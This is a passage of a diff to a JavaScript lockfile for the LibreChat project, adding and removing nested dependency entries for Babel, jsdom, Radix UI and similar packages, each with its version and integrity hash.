"peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="], - - "@librechat/client/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], - - "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-jsx/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-pure-annotations/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="], - - "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="], - - "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="], - - "@librechat/frontend/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], - - "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-jsx/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-pure-annotations/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], + "@librechat/backend/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], "@librechat/frontend/@react-spring/web/@react-spring/shared/@react-spring/rafz": ["@react-spring/rafz@9.7.5", "", {}, "sha512-5ZenDQMC48wjUzPAm1EtwQ5Ot3bLIAwwqP2w2owG5KoNdNHpEJV263nGhCeKKmuA3vG2zLLOdu3or6kuDjA6Aw=="], @@ -8177,46 +7931,38 @@ "@librechat/frontend/@testing-library/jest-dom/chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], - "@librechat/frontend/jest-environment-jsdom/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/cssstyle": ["cssstyle@2.3.0", "", { "dependencies": { "cssom": "~0.3.6" } }, "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/data-urls": ["data-urls@3.0.2", "", { "dependencies": { "abab": "^2.0.6", "whatwg-mimetype": "^3.0.0", "whatwg-url": "^11.0.0" } }, "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/html-encoding-sniffer": ["html-encoding-sniffer@3.0.0", "", { "dependencies": { "whatwg-encoding": "^2.0.0" } }, "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/http-proxy-agent": ["http-proxy-agent@5.0.0", "", { "dependencies": { "@tootallnate/once": "2", "agent-base": "6", "debug": "4" } }, "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/nwsapi": ["nwsapi@2.2.7", "", {}, "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/tough-cookie": ["tough-cookie@4.1.3", "", { "dependencies": { "psl": "^1.1.33", "punycode": "^2.1.1", "universalify": "^0.2.0", "url-parse": "^1.5.3" } }, "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/w3c-xmlserializer": ["w3c-xmlserializer@4.0.0", "", { "dependencies": { "xml-name-validator": "^4.0.0" } }, "sha512-d+BFHzbiCx6zGfz0HyQ6Rg69w9k19nviJspaj4yNscGjrHu94sVP+aRm75yEbCh+r2/yR+7q6hux9LVtbuTGBw=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-encoding": ["whatwg-encoding@2.0.0", "", { "dependencies": { "iconv-lite": "0.6.3" } }, "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-mimetype": ["whatwg-mimetype@3.0.0", "", {}, "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-url": ["whatwg-url@11.0.0", "", { "dependencies": { "tr46": "^3.0.0", "webidl-conversions": "^7.0.0" } }, "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/xml-name-validator": ["xml-name-validator@4.0.0", "", {}, "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw=="], - "@mcp-ui/client/@modelcontextprotocol/sdk/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], + "@mcp-ui/client/@modelcontextprotocol/sdk/express/body-parser": ["body-parser@2.2.0", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.0", "http-errors": "^2.0.0", "iconv-lite": "^0.6.3", "on-finished": "^2.4.1", "qs": "^6.14.0", "raw-body": "^3.0.0", "type-is": "^2.0.0" } }, "sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg=="], + + "@mcp-ui/client/@modelcontextprotocol/sdk/express/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "@node-saml/passport-saml/@types/express/@types/express-serve-static-core/@types/qs": ["@types/qs@6.9.17", "", {}, "sha512-rX4/bPcfmvxHDv0XjfJELTTr+iB+tn032nPILqHm5wbthUUUuVtNGGqzhya9XUxjTP8Fpr0qYgSZZKxGY++svQ=="], + "@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="], + "@radix-ui/react-arrow/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="], + "@radix-ui/react-portal/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="], + "@radix-ui/react-progress/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Y9VzoRDSJtgFMUCoiZBDVo084VQ5hfpXxVE+NgkdNsjiDBByiImMZKKhxMwCbdHvhlENG6a833CbFkOQvTricw=="], "@radix-ui/react-tabs/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="], "@radix-ui/react-tabs/@radix-ui/react-roving-focus/@radix-ui/react-collection/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="], + "@vitejs/plugin-react/@babel/core/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", 